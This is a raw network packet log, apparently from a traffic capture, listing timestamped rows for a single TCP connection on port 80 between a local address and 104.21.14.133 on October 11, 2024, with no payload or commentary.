Oct 11, 2024 04:10:44.252234936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252255917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252289057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252293110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252340078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252374887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252377033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252410889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252443075 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252446890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252476931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252509117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252512932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252543926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252576113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252580881 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252609968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252639055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252652884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252672911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252672911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252707958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252739906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252772093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252803087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252811909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252811909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252837896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252846956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252872944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252876997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252907991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252911091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252942085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.252943993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.252976894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253009081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253011942 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253043890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253077030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253081083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253112078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253144026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253148079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253180981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253211975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253216028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253246069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253278971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253314018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253334045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253334045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253350019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253381014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253385067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253417015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253448963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253449917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253484964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253515959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.253516912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253551006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.253581047 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.254549026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.283864975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.283915043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.283957005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284007072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284039974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284071922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284079075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284079075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284105062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284106016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284140110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284173965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284176111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284209013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284240007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284241915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284277916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284308910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284310102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284343958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284373999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284377098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284413099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284442902 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284447908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284476995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284507990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284508944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284542084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284573078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.284574986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284606934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.284643888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.285200119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338181019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338231087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338267088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338319063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338352919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338383913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338422060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338455915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338459015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338506937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338540077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338541031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338592052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338624001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338627100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338677883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338711023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338711023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338762045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338793039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338797092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338826895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338857889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338859081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338892937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338923931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.338927984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338962078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.338993073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339015961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339073896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339106083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339107037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339142084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339173079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339204073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339262962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339293957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339312077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339345932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339376926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339379072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339435101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339467049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339467049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339500904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339533091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339534044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339566946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339596033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339598894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339628935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339659929 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339665890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339699030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339730024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339730978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339764118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339795113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339797974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339831114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339863062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339863062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339898109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339929104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339932919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339965105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.339994907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.339998007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340029955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340059996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340063095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340095043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340125084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340128899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340163946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340193987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340200901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340234041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340266943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340266943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340297937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340300083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340333939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340363979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340365887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340404987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340435028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340435982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340470076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340500116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340502024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340534925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340565920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340567112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340601921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340632915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340634108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340667963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340699911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340699911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340735912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340768099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340770006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340802908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340832949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340833902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340867996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340898037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340898991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340931892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340962887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.340964079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.340997934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341027975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341029882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341063023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341094017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341094971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341129065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341150045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341150045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341164112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341197014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341217041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341229916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341262102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341265917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341298103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341331005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341331959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341362953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341367006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341399908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.341428995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.341432095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.342175961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.371742010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.371787071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.371822119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.371831894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.371857882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.371890068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.371891975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.371927023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.371958017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.371959925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.371995926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372025967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.372030020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372062922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372091055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372092962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.372124910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372155905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.372162104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372195959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372226000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.372229099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372262955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372292042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.372296095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372333050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372363091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.372366905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372399092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372431993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372433901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.372464895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372500896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372502089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.372529984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.372569084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.373136997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.425343990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425414085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425467014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425493002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.425499916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425534964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425566912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.425578117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425628901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425628901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.425681114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425724030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.425743103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425838947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425873041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425875902 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.425905943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425939083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425944090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.425971985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.425975084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426007986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426043034 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426044941 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426078081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426110029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426114082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426145077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426178932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426182032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426214933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426246881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426253080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426281929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426314116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426320076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426348925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426386118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426393986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426445961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426476955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426482916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426527977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426561117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426565886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426611900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426644087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426651001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426695108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426731110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426733971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426764011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426796913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426804066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426830053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426834106 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426877975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426886082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426918983 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.426920891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.426959038 CEST	49733	80	192.168.2.4	104.21.14.133
